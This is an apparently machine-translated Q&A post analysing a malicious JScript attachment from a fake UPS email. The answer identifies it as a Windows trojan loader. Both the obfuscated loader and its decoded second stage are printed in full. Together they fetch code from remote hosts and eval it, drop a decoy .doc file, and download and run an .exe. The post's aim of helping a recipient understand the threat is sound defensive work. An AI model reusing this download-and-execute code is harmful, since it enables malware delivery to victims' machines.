带有UPS标签脚本的电子邮件,它做了什么



我今天收到了电子邮件,有人将我寄给我,我没有打开它,因为我发现它可疑,我想知道该代码做什么,

谢谢

var sder = "P";
var g2 = "M"+"sxml2.XMLHT"+""+"T"+""+sder;
var m = "LZUaj4-qfCYW4M3kjDIgGL844Arvxk8a-hL2LmwUe1fG4_p62GL1yQkO5QZj62RgjWMzKm3mojn5OZRDSmV0C9O7RF_9Lw";
var x = new Array("site link", "site link", "site link", "site link", "site link");
var t4 = "ht"+"tp";
var mul = "qwadro";
var ter = "/";
for (var i=0; i<x.length; i++)
{	
	var vDJmB = function(){
		return new ActiveXObject(g2);
	}();
	var e = vDJmB;
	try
	{
		e.open("G"+"E"+"T", t4 + ":"+ter+ter+x[i]+"/c"+"o"+"unter/?"+m, false);
		e.send();
		var r = e.responseText;
		if (r.length > 999+1 && r.indexOf(m) > -1)
		{
			eval(e.responseText.split(m).join(mul.substring(2,3)));
			break;
		};
	}
	catch(e)
	{
	};
};

我想知道这个代码做什么,有人试图从我这里获取信息?谢谢

它是专门针对Microsoft Windows的Trojan加载程序。它为Msxml2.XMLHTTP ActiveX对象创建指针evDJmB

然后使用键m通过数组x中的站点进行序列,以获取多部分编码的纯文本有效负载组件r。该组件有效载荷被解码为JavaScript字符串,然后对此进行评估。每个组件元素长在5972和6266个字符之间。在我的版本中,有五个组件。

实际有效载荷在解码和评估时,引用了其他几个网站,创建多个对象,创建带有.doc扩展名的随机字符文件,尝试运行它,然后将错误捕获到空处理程序中,然后下载PNG,Renames然后,它可以运行它……我要说的是相当复杂的混淆。它最终会抓住什么?无法告诉您,因为我没有Windows系统。

第一个组件确实如下(我的五个具有不同站点名称的组件):

var ld = 0;
var cs = String.fromCharCode(92);
var ll = [ "seperate_site2.com", "site_in_original4.com", "site_in_original4", "seperate_site2", "site_in_original1.com" ];
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
if (!fo.FileExists(fn + ".doc")) {
  var fp = fo.CreateTextFile(fn + ".doc", true);
  for (var i = 0; i < 8339; i++) {
    fp.Write(String.fromCharCode(Math.floor(Math.random() * 64 + 20)));
  };
  fp.Close();
  try {ws.Run(fn + ".doc", 1, 0);} catch (er) {};
  for (var n = 1; n <= 2; n++) {
    for (var i = ld; i < ll.length; i++) {
      var dn = 0;
      try {
        xo.open("GET", "http://" + ll[ i ] + "/counter/?" + n, false);
        xo.send();
        if (xo.status == 200) {
          xa.open();
          xa.type = 1;
          xa.write(xo.responseBody);
          if (xa.size > 10000) {
            dn = 1;
            xa.saveToFile(fn + n + ".exe", 2);
            try {ws.Run(fn + n + ".exe", 1, 0);} catch (er) {};
          };
          xa.close();
        };
        if (dn == 1) {
          ld = i;
          break;
        };
      } catch (er) {};
    };
  };
} else {
  try {ws.Run(fn + ".doc", 1, 0);} catch (er) {};
};

我在Ubuntu上使用Rhino-Debugger和Eclipse 16.04评估了此加载器。

最新更新